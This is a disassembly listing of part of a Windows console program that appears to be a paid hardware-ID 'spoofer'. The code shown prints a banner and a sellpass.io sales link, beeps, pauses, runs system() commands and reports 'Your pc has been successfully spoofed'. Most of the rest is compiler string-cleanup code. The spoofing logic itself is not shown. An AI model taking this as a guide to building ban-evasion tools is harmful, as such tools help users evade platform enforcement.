lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, 3
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 1
call fcn.140074d50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov edx, 0x46
mov ecx, 0x44c
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.1400037d0
mov ecx, 0x157c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, 2
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, 1
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str.echo_Your_pc_has_been_successfully_spoofed_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000e000
nop
mov rdx, qword [rbp + 0x2e0]
cmp rdx, 0x10
jb 0x140008750
inc rdx
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000874b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000874b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x2d8], r14
mov qword [rbp + 0x2e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c8], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x1400087aa
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400087a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400087a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x1400087fb
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400087f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400087f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x360]
cmp rdx, 0x10
jb 0x14000884f
inc rdx
mov rcx, qword [rbp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000884a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000884a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x358], r14
mov qword [rbp + 0x360], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x348], 0
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 0x10
jb 0x1400088ac
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400088a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400088a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x2b8], r14
mov qword [rbp + 0x2c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2a8], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x140008909
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008904
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008904
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0xd8], r14
mov qword [rbp + 0xe0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x140008966
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008961
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0xf8], r14
mov qword [rbp + 0x100], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x1400089c3
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400089be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400089be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x118], r14
mov qword [rbp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x140008a20
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0xb8], r14
mov qword [rbp + 0xc0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x140008a7d
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x138], r14
mov qword [rbp + 0x140], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x128], 0
mov rdx, qword [rbp + 0x160]
cmp rdx, 0x10
jb 0x140008ada
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ad5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008ad5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x158], r14
mov qword [rbp + 0x160], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x140008b37
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], 0
test r12b, r12b
je 0x140008b90
mov rdx, qword [rbp + 0x1a0]
inc rdx
mov rax, r13
cmp rdx, 0x1000
jb 0x140008b87
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x380]
cmp rdx, 0x10
jb 0x140008bd5
inc rdx
mov rcx, qword [rbp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008bcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008bcf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x3a0]
cmp rdx, 0x10
jb 0x140008c1a
inc rdx
mov rcx, qword [rbp + 0x388]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x3c0]
cmp rdx, 0x10
jb 0x140008c5f
inc rdx
mov rcx, qword [rbp + 0x3a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x220]
cmp rdx, 0x10
jb 0x140008ca3
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x218], r14
mov qword [rbp + 0x220], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x208], 0
mov rdx, qword [rbp + 0x240]
cmp rdx, 0x10
jb 0x140008d00
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008cfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008cfb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x238], r14
mov qword [rbp + 0x240], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x228], 0
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0x10
jb 0x140008d5d
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x1b8], r14
mov qword [rbp + 0x1c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a8], 0
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
jb 0x140008dba
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008db5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008db5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x178], r14
mov qword [rbp + 0x180], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
jb 0x140008e17
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x1d8], r14
mov qword [rbp + 0x1e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c8], 0
mov rdx, qword [rbp + 0x3e0]
cmp rdx, 0x10
jb 0x140008e75
inc rdx
mov rcx, qword [rbp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x140008eb9
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008eb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008eb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x1f8], r14
mov qword [rbp + 0x200], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e8], 0
cmp byte [rsp + 0x60], 0
je 0x140008f18
mov rdx, qword [rbp + 0x260]
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
cmp byte [rsp + 0x61], 0
je 0x140008f5e
mov rdx, qword [rbp + 0x280]
inc rdx
mov rcx, qword [rbp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
cmp byte [rsp + 0x62], 0
je 0x140008fa4
mov rdx, qword [rbp + 0x2a0]
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x300]
cmp rdx, 0x10
jb 0x140008fe8
inc rdx
mov rcx, qword [rbp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008fe3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x2f8], r14
mov qword [rbp + 0x300], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e8], 0
mov rdx, qword [rbp + 0x320]
cmp rdx, 0x10
jb 0x140009045
inc rdx
mov rcx, qword [rbp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009040
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009040
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x318], r14
mov qword [rbp + 0x320], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x308], 0
mov rdx, qword [rbp + 0x340]
cmp rdx, 0x10
jb 0x1400090a2
inc rdx
mov rcx, qword [rbp + 0x328]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000909d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000909d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x338], r14
mov qword [rbp + 0x340], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x328], 0
mov rdx, qword [rbp + 0x400]
cmp rdx, 0x10
jb 0x1400090ff
inc rdx
mov rcx, qword [rbp + 0x3e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400090fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140074d30
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400018d0
nop
call fcn.140001980
int3
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.140001980
int3
call fcn.1400018d0
int3
call fcn.140001980
int3
call fcn.1400018d0
int3
call fcn.140001980
int3